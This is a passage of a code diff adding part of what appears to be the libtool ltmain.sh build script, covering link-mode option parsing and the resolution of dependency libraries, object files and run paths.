+		  non_pic_object="$xdir$non_pic_object"
+
+		  # A standard non-PIC object
+		  non_pic_objects="$non_pic_objects $non_pic_object"
+		  if test -z "$pic_object" || test "$pic_object" = none ; then
+		    arg="$non_pic_object"
+		  fi
+		else
+		  # If the PIC object exists, use it instead.
+		  # $xdir was prepended to $pic_object above.
+		  non_pic_object="$pic_object"
+		  non_pic_objects="$non_pic_objects $non_pic_object"
+		fi
+	      else
+		# Only an error if not doing a dry-run.
+		if $opt_dry_run; then
+		  # Extract subdirectory from the argument.
+		  func_dirname "$arg" "/" ""
+		  xdir="$func_dirname_result"
+
+		  pic_object=`$ECHO "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"`
+		  non_pic_object=`$ECHO "X${xdir}${arg}" | $Xsed -e "$lo2o"`
+		  libobjs="$libobjs $pic_object"
+		  non_pic_objects="$non_pic_objects $non_pic_object"
+	        else
+		  func_fatal_error "\`$arg' is not a valid libtool object"
+		fi
+	      fi
+	    done
+	  else
+	    func_fatal_error "link input file \`$arg' does not exist"
+	  fi
+	  arg=$save_arg
+	  prev=
+	  continue
+	  ;;
+	precious_regex)
+	  precious_files_regex="$arg"
+	  prev=
+	  continue
+	  ;;
+	release)
+	  release="-$arg"
+	  prev=
+	  continue
+	  ;;
+	rpath | xrpath)
+	  # We need an absolute path.
+	  case $arg in
+	  [\\/]* | [A-Za-z]:[\\/]*) ;;
+	  *)
+	    func_fatal_error "only absolute run-paths are allowed"
+	    ;;
+	  esac
+	  if test "$prev" = rpath; then
+	    case "$rpath " in
+	    *" $arg "*) ;;
+	    *) rpath="$rpath $arg" ;;
+	    esac
+	  else
+	    case "$xrpath " in
+	    *" $arg "*) ;;
+	    *) xrpath="$xrpath $arg" ;;
+	    esac
+	  fi
+	  prev=
+	  continue
+	  ;;
+	shrext)
+  	  shrext_cmds="$arg"
+	  prev=
+	  continue
+	  ;;
+	weak)
+	  weak_libs="$weak_libs $arg"
+	  prev=
+	  continue
+	  ;;
+	xcclinker)
+	  linker_flags="$linker_flags $qarg"
+	  compiler_flags="$compiler_flags $qarg"
+	  prev=
+	  compile_command="$compile_command $qarg"
+	  finalize_command="$finalize_command $qarg"
+	  continue
+	  ;;
+	xcompiler)
+	  compiler_flags="$compiler_flags $qarg"
+	  prev=
+	  compile_command="$compile_command $qarg"
+	  finalize_command="$finalize_command $qarg"
+	  continue
+	  ;;
+	xlinker)
+	  linker_flags="$linker_flags $qarg"
+	  compiler_flags="$compiler_flags $wl$qarg"
+	  prev=
+	  compile_command="$compile_command $wl$qarg"
+	  finalize_command="$finalize_command $wl$qarg"
+	  continue
+	  ;;
+	*)
+	  eval "$prev=\"\$arg\""
+	  prev=
+	  continue
+	  ;;
+	esac
+      fi # test -n "$prev"
+
+      prevarg="$arg"
+
+      case $arg in
+      -all-static)
+	# The effects of -all-static are defined in a previous loop.
+	continue
+	;;
+
+      -allow-undefined)
+	# FIXME: remove this flag sometime in the future.
+	func_fatal_error "\`-allow-undefined' must not be used because it is the default"
+	;;
+
+      -avoid-version)
+	avoid_version=yes
+	continue
+	;;
+
+      -dlopen)
+	prev=dlfiles
+	continue
+	;;
+
+      -dlpreopen)
+	prev=dlprefiles
+	continue
+	;;
+
+      -export-dynamic)
+	export_dynamic=yes
+	continue
+	;;
+
+      -export-symbols | -export-symbols-regex)
+	if test -n "$export_symbols" || test -n "$export_symbols_regex"; then
+	  func_fatal_error "more than one -exported-symbols argument is not allowed"
+	fi
+	if test "X$arg" = "X-export-symbols"; then
+	  prev=expsyms
+	else
+	  prev=expsyms_regex
+	fi
+	continue
+	;;
+
+      -framework)
+	prev=framework
+	continue
+	;;
+
+      -inst-prefix-dir)
+	prev=inst_prefix
+	continue
+	;;
+
+      # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:*
+      # so, if we see these flags be careful not to treat them like -L
+      -L[A-Z][A-Z]*:*)
+	case $with_gcc/$host in
+	no/*-*-irix* | /*-*-irix*)
+	  compile_command="$compile_command $arg"
+	  finalize_command="$finalize_command $arg"
+	  ;;
+	esac
+	continue
+	;;
+
+      -L*)
+	func_stripname '-L' '' "$arg"
+	dir=$func_stripname_result
+	# We need an absolute path.
+	case $dir in
+	[\\/]* | [A-Za-z]:[\\/]*) ;;
+	*)
+	  absdir=`cd "$dir" && pwd`
+	  test -z "$absdir" && \
+	    func_fatal_error "cannot determine absolute directory name of \`$dir'"
+	  dir="$absdir"
+	  ;;
+	esac
+	case "$deplibs " in
+	*" -L$dir "*) ;;
+	*)
+	  deplibs="$deplibs -L$dir"
+	  lib_search_path="$lib_search_path $dir"
+	  ;;
+	esac
+	case $host in
+	*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
+	  testbindir=`$ECHO "X$dir" | $Xsed -e 's*/lib$*/bin*'`
+	  case :$dllsearchpath: in
+	  *":$dir:"*) ;;
+	  *) dllsearchpath="$dllsearchpath:$dir";;
+	  esac
+	  case :$dllsearchpath: in
+	  *":$testbindir:"*) ;;
+	  *) dllsearchpath="$dllsearchpath:$testbindir";;
+	  esac
+	  ;;
+	esac
+	continue
+	;;
+
+      -l*)
+	if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then
+	  case $host in
+	  *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos*)
+	    # These systems don't actually have a C or math library (as such)
+	    continue
+	    ;;
+	  *-*-os2*)
+	    # These systems don't actually have a C library (as such)
+	    test "X$arg" = "X-lc" && continue
+	    ;;
+	  *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
+	    # Do not include libc due to us having libc/libc_r.
+	    test "X$arg" = "X-lc" && continue
+	    ;;
+	  *-*-rhapsody* | *-*-darwin1.[012])
+	    # Rhapsody C and math libraries are in the System framework
+	    deplibs="$deplibs System.ltframework"
+	    continue
+	    ;;
+	  *-*-sco3.2v5* | *-*-sco5v6*)
+	    # Causes problems with __ctype
+	    test "X$arg" = "X-lc" && continue
+	    ;;
+	  *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*)
+	    # Compiler inserts libc in the correct place for threads to work
+	    test "X$arg" = "X-lc" && continue
+	    ;;
+	  esac
+	elif test "X$arg" = "X-lc_r"; then
+	 case $host in
+	 *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
+	   # Do not include libc_r directly, use -pthread flag.
+	   continue
+	   ;;
+	 esac
+	fi
+	deplibs="$deplibs $arg"
+	continue
+	;;
+
+      -module)
+	module=yes
+	continue
+	;;
+
+      # Tru64 UNIX uses -model [arg] to determine the layout of C++
+      # classes, name mangling, and exception handling.
+      # Darwin uses the -arch flag to determine output architecture.
+      -model|-arch|-isysroot)
+	compile_command="$compile_command $arg"
+	compiler_flags="$compiler_flags $arg"
+	finalize_command="$finalize_command $arg"
+	prev=xcompiler
+	continue
+	;;
+
+      -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe)
+	compiler_flags="$compiler_flags $arg"
+	compile_command="$compile_command $arg"
+	finalize_command="$finalize_command $arg"
+	case "$new_inherited_linker_flags " in
+	    *" $arg "*) ;;
+	    * ) new_inherited_linker_flags="$new_inherited_linker_flags $arg" ;;
+	esac
+	continue
+	;;
+
+      -multi_module)
+	single_module="${wl}-multi_module"
+	continue
+	;;
+
+      -no-fast-install)
+	fast_install=no
+	continue
+	;;
+
+      -no-install)
+	case $host in
+	*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
+	  # The PATH hackery in wrapper scripts is required on Windows
+	  # in order for the loader to find any dlls it needs.
+	  func_warning "\`-no-install' is ignored for $host"
+	  func_warning "assuming \`-no-fast-install' instead"
+	  fast_install=no
+	  ;;
+	*) no_install=yes ;;
+	esac
+	continue
+	;;
+
+      -no-undefined)
+	allow_undefined=no
+	continue
+	;;
+
+      -objectlist)
+	prev=objectlist
+	continue
+	;;
+
+      -o) prev=output ;;
+
+      -precious-files-regex)
+	prev=precious_regex
+	continue
+	;;
+
+      -release)
+	prev=release
+	continue
+	;;
+
+      -rpath)
+	prev=rpath
+	continue
+	;;
+
+      -R)
+	prev=xrpath
+	continue
+	;;
+
+      -R*)
+	func_stripname '-R' '' "$arg"
+	dir=$func_stripname_result
+	# We need an absolute path.
+	case $dir in
+	[\\/]* | [A-Za-z]:[\\/]*) ;;
+	*)
+	  func_fatal_error "only absolute run-paths are allowed"
+	  ;;
+	esac
+	case "$xrpath " in
+	*" $dir "*) ;;
+	*) xrpath="$xrpath $dir" ;;
+	esac
+	continue
+	;;
+
+      -shared)
+	# The effects of -shared are defined in a previous loop.
+	continue
+	;;
+
+      -shrext)
+	prev=shrext
+	continue
+	;;
+
+      -static)
+	# The effects of -static are defined in a previous loop.
+	# We used to do the same as -all-static on platforms that
+	# didn't have a PIC flag, but the assumption that the effects
+	# would be equivalent was wrong.  It would break on at least
+	# Digital Unix and AIX.
+	continue
+	;;
+
+      -thread-safe)
+	thread_safe=yes
+	continue
+	;;
+
+      -version-info)
+	prev=vinfo
+	continue
+	;;
+
+      -version-number)
+	prev=vinfo
+	vinfo_number=yes
+	continue
+	;;
+
+      -weak)
+        prev=weak
+	continue
+	;;
+
+      -Wc,*)
+	func_stripname '-Wc,' '' "$arg"
+	args=$func_stripname_result
+	arg=
+	save_ifs="$IFS"; IFS=','
+	for flag in $args; do
+	  IFS="$save_ifs"
+          func_quote_for_eval "$flag"
+	  arg="$arg $wl$func_quote_for_eval_result"
+	  compiler_flags="$compiler_flags $func_quote_for_eval_result"
+	done
+	IFS="$save_ifs"
+	func_stripname ' ' '' "$arg"
+	arg=$func_stripname_result
+	;;
+
+      -Wl,*)
+	func_stripname '-Wl,' '' "$arg"
+	args=$func_stripname_result
+	arg=
+	save_ifs="$IFS"; IFS=','
+	for flag in $args; do
+	  IFS="$save_ifs"
+          func_quote_for_eval "$flag"
+	  arg="$arg $wl$func_quote_for_eval_result"
+	  compiler_flags="$compiler_flags $wl$func_quote_for_eval_result"
+	  linker_flags="$linker_flags $func_quote_for_eval_result"
+	done
+	IFS="$save_ifs"
+	func_stripname ' ' '' "$arg"
+	arg=$func_stripname_result
+	;;
+
+      -Xcompiler)
+	prev=xcompiler
+	continue
+	;;
+
+      -Xlinker)
+	prev=xlinker
+	continue
+	;;
+
+      -XCClinker)
+	prev=xcclinker
+	continue
+	;;
+
+      # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
+      # -r[0-9][0-9]* specifies the processor on the SGI compiler
+      # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
+      # +DA*, +DD* enable 64-bit mode on the HP compiler
+      # -q* pass through compiler args for the IBM compiler
+      # -m*, -t[45]*, -txscale* pass through architecture-specific
+      # compiler args for GCC
+      # @file GCC response files
+      -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+      -t[45]*|-txscale*|@*)
+        func_quote_for_eval "$arg"
+	arg="$func_quote_for_eval_result"
+        compile_command="$compile_command $arg"
+        finalize_command="$finalize_command $arg"
+        compiler_flags="$compiler_flags $arg"
+        continue
+        ;;
+
+      # Some other compiler flag.
+      -* | +*)
+        func_quote_for_eval "$arg"
+	arg="$func_quote_for_eval_result"
+	;;
+
+      *.$objext)
+	# A standard object.
+	objs="$objs $arg"
+	;;
+
+      *.lo)
+	# A libtool-controlled object.
+
+	# Check to see that this really is a libtool object.
+	if func_lalib_unsafe_p "$arg"; then
+	  pic_object=
+	  non_pic_object=
+
+	  # Read the .lo file
+	  func_source "$arg"
+
+	  if test -z "$pic_object" ||
+	     test -z "$non_pic_object" ||
+	     test "$pic_object" = none &&
+	     test "$non_pic_object" = none; then
+	    func_fatal_error "cannot find name of object for \`$arg'"
+	  fi
+
+	  # Extract subdirectory from the argument.
+	  func_dirname "$arg" "/" ""
+	  xdir="$func_dirname_result"
+
+	  if test "$pic_object" != none; then
+	    # Prepend the subdirectory the object is found in.
+	    pic_object="$xdir$pic_object"
+
+	    if test "$prev" = dlfiles; then
+	      if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
+		dlfiles="$dlfiles $pic_object"
+		prev=
+		continue
+	      else
+		# If libtool objects are unsupported, then we need to preload.
+		prev=dlprefiles
+	      fi
+	    fi
+
+	    # CHECK ME:  I think I busted this.  -Ossama
+	    if test "$prev" = dlprefiles; then
+	      # Preload the old-style object.
+	      dlprefiles="$dlprefiles $pic_object"
+	      prev=
+	    fi
+
+	    # A PIC object.
+	    libobjs="$libobjs $pic_object"
+	    arg="$pic_object"
+	  fi
+
+	  # Non-PIC object.
+	  if test "$non_pic_object" != none; then
+	    # Prepend the subdirectory the object is found in.
+	    non_pic_object="$xdir$non_pic_object"
+
+	    # A standard non-PIC object
+	    non_pic_objects="$non_pic_objects $non_pic_object"
+	    if test -z "$pic_object" || test "$pic_object" = none ; then
+	      arg="$non_pic_object"
+	    fi
+	  else
+	    # If the PIC object exists, use it instead.
+	    # $xdir was prepended to $pic_object above.
+	    non_pic_object="$pic_object"
+	    non_pic_objects="$non_pic_objects $non_pic_object"
+	  fi
+	else
+	  # Only an error if not doing a dry-run.
+	  if $opt_dry_run; then
+	    # Extract subdirectory from the argument.
+	    func_dirname "$arg" "/" ""
+	    xdir="$func_dirname_result"
+
+	    pic_object=`$ECHO "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"`
+	    non_pic_object=`$ECHO "X${xdir}${arg}" | $Xsed -e "$lo2o"`
+	    libobjs="$libobjs $pic_object"
+	    non_pic_objects="$non_pic_objects $non_pic_object"
+	  else
+	    func_fatal_error "\`$arg' is not a valid libtool object"
+	  fi
+	fi
+	;;
+
+      *.$libext)
+	# An archive.
+	deplibs="$deplibs $arg"
+	old_deplibs="$old_deplibs $arg"
+	continue
+	;;
+
+      *.la)
+	# A libtool-controlled library.
+
+	if test "$prev" = dlfiles; then
+	  # This library was specified with -dlopen.
+	  dlfiles="$dlfiles $arg"
+	  prev=
+	elif test "$prev" = dlprefiles; then
+	  # The library was specified with -dlpreopen.
+	  dlprefiles="$dlprefiles $arg"
+	  prev=
+	else
+	  deplibs="$deplibs $arg"
+	fi
+	continue
+	;;
+
+      # Some other compiler argument.
+      *)
+	# Unknown arguments in both finalize_command and compile_command need
+	# to be aesthetically quoted because they are evaled later.
+	func_quote_for_eval "$arg"
+	arg="$func_quote_for_eval_result"
+	;;
+      esac # arg
+
+      # Now actually substitute the argument into the commands.
+      if test -n "$arg"; then
+	compile_command="$compile_command $arg"
+	finalize_command="$finalize_command $arg"
+      fi
+    done # argument parsing loop
+
+    test -n "$prev" && \
+      func_fatal_help "the \`$prevarg' option requires an argument"
+
+    if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
+      eval arg=\"$export_dynamic_flag_spec\"
+      compile_command="$compile_command $arg"
+      finalize_command="$finalize_command $arg"
+    fi
+
+    oldlibs=
+    # calculate the name of the file, without its directory
+    func_basename "$output"
+    outputname="$func_basename_result"
+    libobjs_save="$libobjs"
+
+    if test -n "$shlibpath_var"; then
+      # get the directories listed in $shlibpath_var
+      eval shlib_search_path=\`\$ECHO \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\`
+    else
+      shlib_search_path=
+    fi
+    eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
+    eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
+
+    func_dirname "$output" "/" ""
+    output_objdir="$func_dirname_result$objdir"
+    # Create the object directory.
+    func_mkdir_p "$output_objdir"
+
+    # Determine the type of output
+    case $output in
+    "")
+      func_fatal_help "you must specify an output file"
+      ;;
+    *.$libext) linkmode=oldlib ;;
+    *.lo | *.$objext) linkmode=obj ;;
+    *.la) linkmode=lib ;;
+    *) linkmode=prog ;; # Anything else should be a program.
+    esac
+
+    specialdeplibs=
+
+    libs=
+    # Find all interdependent deplibs by searching for libraries
+    # that are linked more than once (e.g. -la -lb -la)
+    for deplib in $deplibs; do
+      if $opt_duplicate_deps ; then
+	case "$libs " in
+	*" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
+	esac
+      fi
+      libs="$libs $deplib"
+    done
+
+    if test "$linkmode" = lib; then
+      libs="$predeps $libs $compiler_lib_search_path $postdeps"
+
+      # Compute libraries that are listed more than once in $predeps
+      # $postdeps and mark them as special (i.e., whose duplicates are
+      # not to be eliminated).
+      pre_post_deps=
+      if $opt_duplicate_compiler_generated_deps; then
+	for pre_post_dep in $predeps $postdeps; do
+	  case "$pre_post_deps " in
+	  *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
+	  esac
+	  pre_post_deps="$pre_post_deps $pre_post_dep"
+	done
+      fi
+      pre_post_deps=
+    fi
+
+    deplibs=
+    newdependency_libs=
+    newlib_search_path=
+    need_relink=no # whether we're linking any uninstalled libtool libraries
+    notinst_deplibs= # not-installed libtool libraries
+    notinst_path= # paths that contain not-installed libtool libraries
+
+    case $linkmode in
+    lib)
+	passes="conv dlpreopen link"
+	for file in $dlfiles $dlprefiles; do
+	  case $file in
+	  *.la) ;;
+	  *)
+	    func_fatal_help "libraries can \`-dlopen' only libtool libraries: $file"
+	    ;;
+	  esac
+	done
+	;;
+    prog)
+	compile_deplibs=
+	finalize_deplibs=
+	alldeplibs=no
+	newdlfiles=
+	newdlprefiles=
+	passes="conv scan dlopen dlpreopen link"
+	;;
+    *)  passes="conv"
+	;;
+    esac
+
+    for pass in $passes; do
+      # The preopen pass in lib mode reverses $deplibs; put it back here
+      # so that -L comes before libs that need it for instance...
+      if test "$linkmode,$pass" = "lib,link"; then
+	## FIXME: Find the place where the list is rebuilt in the wrong
+	##        order, and fix it there properly
+        tmp_deplibs=
+	for deplib in $deplibs; do
+	  tmp_deplibs="$deplib $tmp_deplibs"
+	done
+	deplibs="$tmp_deplibs"
+      fi
+
+      if test "$linkmode,$pass" = "lib,link" ||
+	 test "$linkmode,$pass" = "prog,scan"; then
+	libs="$deplibs"
+	deplibs=
+      fi
+      if test "$linkmode" = prog; then
+	case $pass in
+	dlopen) libs="$dlfiles" ;;
+	dlpreopen) libs="$dlprefiles" ;;
+	link) libs="$deplibs %DEPLIBS% $dependency_libs" ;;
+	esac
+      fi
+      if test "$linkmode,$pass" = "lib,dlpreopen"; then
+	# Collect and forward deplibs of preopened libtool libs
+	for lib in $dlprefiles; do
+	  # Ignore non-libtool-libs
+	  dependency_libs=
+	  case $lib in
+	  *.la)	func_source "$lib" ;;
+	  esac
+
+	  # Collect preopened libtool deplibs, except any this library
+	  # has declared as weak libs
+	  for deplib in $dependency_libs; do
+            deplib_base=`$ECHO "X$deplib" | $Xsed -e "$basename"`
+	    case " $weak_libs " in
+	    *" $deplib_base "*) ;;
+	    *) deplibs="$deplibs $deplib" ;;
+	    esac
+	  done
+	done
+	libs="$dlprefiles"
+      fi
+      if test "$pass" = dlopen; then
+	# Collect dlpreopened libraries
+	save_deplibs="$deplibs"
+	deplibs=
+      fi
+
+      for deplib in $libs; do
+	lib=
+	found=no
+	case $deplib in
+	-mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe)
+	  if test "$linkmode,$pass" = "prog,link"; then
+	    compile_deplibs="$deplib $compile_deplibs"
+	    finalize_deplibs="$deplib $finalize_deplibs"
+	  else
+	    compiler_flags="$compiler_flags $deplib"
+	    if test "$linkmode" = lib ; then
+		case "$new_inherited_linker_flags " in
+		    *" $deplib "*) ;;
+		    * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
+		esac
+	    fi
+	  fi
+	  continue
+	  ;;
+	-l*)
+	  if test "$linkmode" != lib && test "$linkmode" != prog; then
+	    func_warning "\`-l' is ignored for archives/objects"
+	    continue
+	  fi
+	  func_stripname '-l' '' "$deplib"
+	  name=$func_stripname_result
+	  for searchdir in $newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path; do
+	    for search_ext in .la $std_shrext .so .a; do
+	      # Search the libtool library
+	      lib="$searchdir/lib${name}${search_ext}"
+	      if test -f "$lib"; then
+		if test "$search_ext" = ".la"; then
+		  found=yes
+		else
+		  found=no
+		fi
+		break 2
+	      fi
+	    done
+	  done
+	  if test "$found" != yes; then
+	    # deplib doesn't seem to be a libtool library
+	    if test "$linkmode,$pass" = "prog,link"; then
+	      compile_deplibs="$deplib $compile_deplibs"
+	      finalize_deplibs="$deplib $finalize_deplibs"
+	    else
+	      deplibs="$deplib $deplibs"
+	      test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs"
+	    fi
+	    continue
+	  else # deplib is a libtool library
+	    # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib,
+	    # We need to do some special things here, and not later.
+	    if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+	      case " $predeps $postdeps " in
+	      *" $deplib "*)
+		if func_lalib_p "$lib"; then
+		  library_names=
+		  old_library=
+		  func_source "$lib"
+		  for l in $old_library $library_names; do
+		    ll="$l"
+		  done
+		  if test "X$ll" = "X$old_library" ; then # only static version available
+		    found=no
+		    func_dirname "$lib" "" "."
+		    ladir="$func_dirname_result"
+		    lib=$ladir/$old_library
+		    if test "$linkmode,$pass" = "prog,link"; then
+		      compile_deplibs="$deplib $compile_deplibs"
+		      finalize_deplibs="$deplib $finalize_deplibs"
+		    else
+		      deplibs="$deplib $deplibs"
+		      test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs"
+		    fi
+		    continue
+		  fi
+		fi
+		;;
+	      *) ;;
+	      esac
+	    fi
+	  fi
+	  ;; # -l
+	*.ltframework)
+	  if test "$linkmode,$pass" = "prog,link"; then
+	    compile_deplibs="$deplib $compile_deplibs"
+	    finalize_deplibs="$deplib $finalize_deplibs"
+	  else
+	    deplibs="$deplib $deplibs"
+	    if test "$linkmode" = lib ; then
+		case "$new_inherited_linker_flags " in
+		    *" $deplib "*) ;;
+		    * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
+		esac
+	    fi
+	  fi
+	  continue
+	  ;;
+	-L*)
+	  case $linkmode in
+	  lib)
+	    deplibs="$deplib $deplibs"
+	    test "$pass" = conv && continue
+	    newdependency_libs="$deplib $newdependency_libs"
+	    func_stripname '-L' '' "$deplib"
+	    newlib_search_path="$newlib_search_path $func_stripname_result"
+	    ;;
+	  prog)
+	    if test "$pass" = conv; then
+	      deplibs="$deplib $deplibs"
+	      continue
+	    fi
+	    if test "$pass" = scan; then
+	      deplibs="$deplib $deplibs"
+	    else
+	      compile_deplibs="$deplib $compile_deplibs"
+	      finalize_deplibs="$deplib $finalize_deplibs"
+	    fi
+	    func_stripname '-L' '' "$deplib"
+	    newlib_search_path="$newlib_search_path $func_stripname_result"
+	    ;;
+	  *)
+	    func_warning "\`-L' is ignored for archives/objects"
+	    ;;
+	  esac # linkmode
+	  continue
+	  ;; # -L
+	-R*)
+	  if test "$pass" = link; then
+	    func_stripname '-R' '' "$deplib"
+	    dir=$func_stripname_result
+	    # Make sure the xrpath contains only unique directories.
+	    case "$xrpath " in
+	    *" $dir "*) ;;
+	    *) xrpath="$xrpath $dir" ;;
+	    esac
+	  fi
+	  deplibs="$deplib $deplibs"
+	  continue
+	  ;;
+	*.la) lib="$deplib" ;;
+	*.$libext)
+	  if test "$pass" = conv; then
+	    deplibs="$deplib $deplibs"
+	    continue
+	  fi
+	  case $linkmode in
+	  lib)
+	    # Linking convenience modules into shared libraries is allowed,
+	    # but linking other static libraries is non-portable.
+	    case " $dlpreconveniencelibs " in
+	    *" $lib "*) ;;
+	    *)
+	      valid_a_lib=no
+	      case $deplibs_check_method in
+		match_pattern*)
+		  set dummy $deplibs_check_method; shift
+		  match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"`
+		  if eval "\$ECHO \"X$deplib\"" 2>/dev/null | $Xsed -e 10q \
+		    | $EGREP "$match_pattern_regex" > /dev/null; then
+		    valid_a_lib=yes
+		  fi
+		;;
+		pass_all)
+		  valid_a_lib=yes
+		;;
+	      esac
+	      if test "$valid_a_lib" != yes; then
+		$ECHO
+		$ECHO "*** Warning: Trying to link with static lib archive $deplib."
+		$ECHO "*** I have the capability to make that library automatically link in when"
+		$ECHO "*** you link to this library.  But I can only do this if you have a"
+		$ECHO "*** shared version of the library, which you do not appear to have"
+		$ECHO "*** because the file extensions .$libext of this argument makes me believe"
+		$ECHO "*** that it is just a static archive that I should not use here."
+	      else
+		$ECHO
+		$ECHO "*** Warning: Linking the shared library $output against the"
+		$ECHO "*** static library $deplib is not portable!"
+		deplibs="$deplib $deplibs"
+	      fi
+	      ;;
+	    esac
+	    continue
+	    ;;
+	  prog)
+	    if test "$pass" != link; then
+	      deplibs="$deplib $deplibs"
+	    else
+	      compile_deplibs="$deplib $compile_deplibs"
+	      finalize_deplibs="$deplib $finalize_deplibs"
+	    fi
+	    continue
+	    ;;
+	  esac # linkmode
+	  ;; # *.$libext
+	*.lo | *.$objext)
+	  if test "$pass" = conv; then
+	    deplibs="$deplib $deplibs"
+	  elif test "$linkmode" = prog; then
+	    if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
+	      # If there is no dlopen support or we're linking statically,
+	      # we need to preload.
+	      newdlprefiles="$newdlprefiles $deplib"
+	      compile_deplibs="$deplib $compile_deplibs"
+	      finalize_deplibs="$deplib $finalize_deplibs"
+	    else
+	      newdlfiles="$newdlfiles $deplib"
+	    fi
+	  fi
+	  continue
+	  ;;
+	%DEPLIBS%)
+	  alldeplibs=yes
+	  continue
+	  ;;
+	esac # case $deplib
+
+	if test "$found" = yes || test -f "$lib"; then :
+	else
+	  func_fatal_error "cannot find the library \`$lib' or unhandled argument \`$deplib'"
+	fi
+
+	# Check to see that this really is a libtool archive.
+	func_lalib_unsafe_p "$lib" \
+	  || func_fatal_error "\`$lib' is not a valid libtool archive"
+
+	func_dirname "$lib" "" "."
+	ladir="$func_dirname_result"
+
+	dlname=
+	dlopen=
+	dlpreopen=
+	libdir=
+	library_names=
+	old_library=
+	inherited_linker_flags=
+	# If the library was installed with an old release of libtool,
+	# it will not redefine variables installed, or shouldnotlink
+	installed=yes
+	shouldnotlink=no
+	avoidtemprpath=
+
+
+	# Read the .la file
+	func_source "$lib"
+
+	# Convert "-framework foo" to "foo.ltframework"
+	if test -n "$inherited_linker_flags"; then
+	  tmp_inherited_linker_flags=`$ECHO "X$inherited_linker_flags" | $Xsed -e 's/-framework \([^ $]*\)/\1.ltframework/g'`
+	  for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do
+	    case " $new_inherited_linker_flags " in
+	      *" $tmp_inherited_linker_flag "*) ;;
+	      *) new_inherited_linker_flags="$new_inherited_linker_flags $tmp_inherited_linker_flag";;
+	    esac
+	  done
+	fi
+	dependency_libs=`$ECHO "X $dependency_libs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'`
+	if test "$linkmode,$pass" = "prog,link"; then
+	  compile_deplibs="$new_inherited_linker_flags $compile_deplibs"
+	  finalize_deplibs="$new_inherited_linker_flags $finalize_deplibs"
+	else
+	  compiler_flags="$compiler_flags $inherited_linker_flags"
+	fi
+	if test "$linkmode,$pass" = "lib,link" ||
+	   test "$linkmode,$pass" = "prog,scan" ||
+	   { test "$linkmode" != prog && test "$linkmode" != lib; }; then
+	  test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
+	  test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
+	fi
+
+	if test "$pass" = conv; then
+	  # Only check for convenience libraries
+	  deplibs="$lib $deplibs"
+	  if test -z "$libdir"; then
+	    if test -z "$old_library"; then
+	      func_fatal_error "cannot find name of link library for \`$lib'"
+	    fi
+	    # It is a libtool convenience library, so add in its objects.
+	    convenience="$convenience $ladir/$objdir/$old_library"
+	    old_convenience="$old_convenience $ladir/$objdir/$old_library"
+	  elif test "$linkmode" != prog && test "$linkmode" != lib; then
+	    func_fatal_error "\`$lib' is not a convenience library"
+	  fi
+	  tmp_libs=
+	  for deplib in $dependency_libs; do
+	    deplibs="$deplib $deplibs"
+	    if $opt_duplicate_deps ; then
+	      case "$tmp_libs " in
+	      *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
+	      esac
+	    fi
+	    tmp_libs="$tmp_libs $deplib"
+	  done
+	  continue
+	fi # $pass = conv
+
+
+	# Get the name of the library we link against.
+	linklib=
+	for l in $old_library $library_names; do
+	  linklib="$l"
+	done
+	if test -z "$linklib"; then
+	  func_fatal_error "cannot find name of link library for \`$lib'"
+	fi
+
+	# This library was specified with -dlopen.
+	if test "$pass" = dlopen; then
+	  if test -z "$libdir"; then
+	    func_fatal_error "cannot -dlopen a convenience library: \`$lib'"
+	  fi
+	  if test -z "$dlname" ||
+	     test "$dlopen_support" != yes ||
+	     test "$build_libtool_libs" = no; then
+	    # If there is no dlname, no dlopen support or we're linking
+	    # statically, we need to preload.  We also need to preload any
+	    # dependent libraries so libltdl's deplib preloader doesn't
+	    # bomb out in the load deplibs phase.
+	    dlprefiles="$dlprefiles $lib $dependency_libs"
+	  else
+	    newdlfiles="$newdlfiles $lib"
+	  fi
+	  continue
+	fi # $pass = dlopen
+
+	# We need an absolute path.
+	case $ladir in
+	[\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;;
+	*)
+	  abs_ladir=`cd "$ladir" && pwd`
+	  if test -z "$abs_ladir"; then
+	    func_warning "cannot determine absolute directory name of \`$ladir'"
+	    func_warning "passing it literally to the linker, although it might fail"
+	    abs_ladir="$ladir"
+	  fi
+	  ;;
+	esac
+	func_basename "$lib"
+	laname="$func_basename_result"
+
+	# Find the relevant object directory and library name.
+	if test "X$installed" = Xyes; then
+	  if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
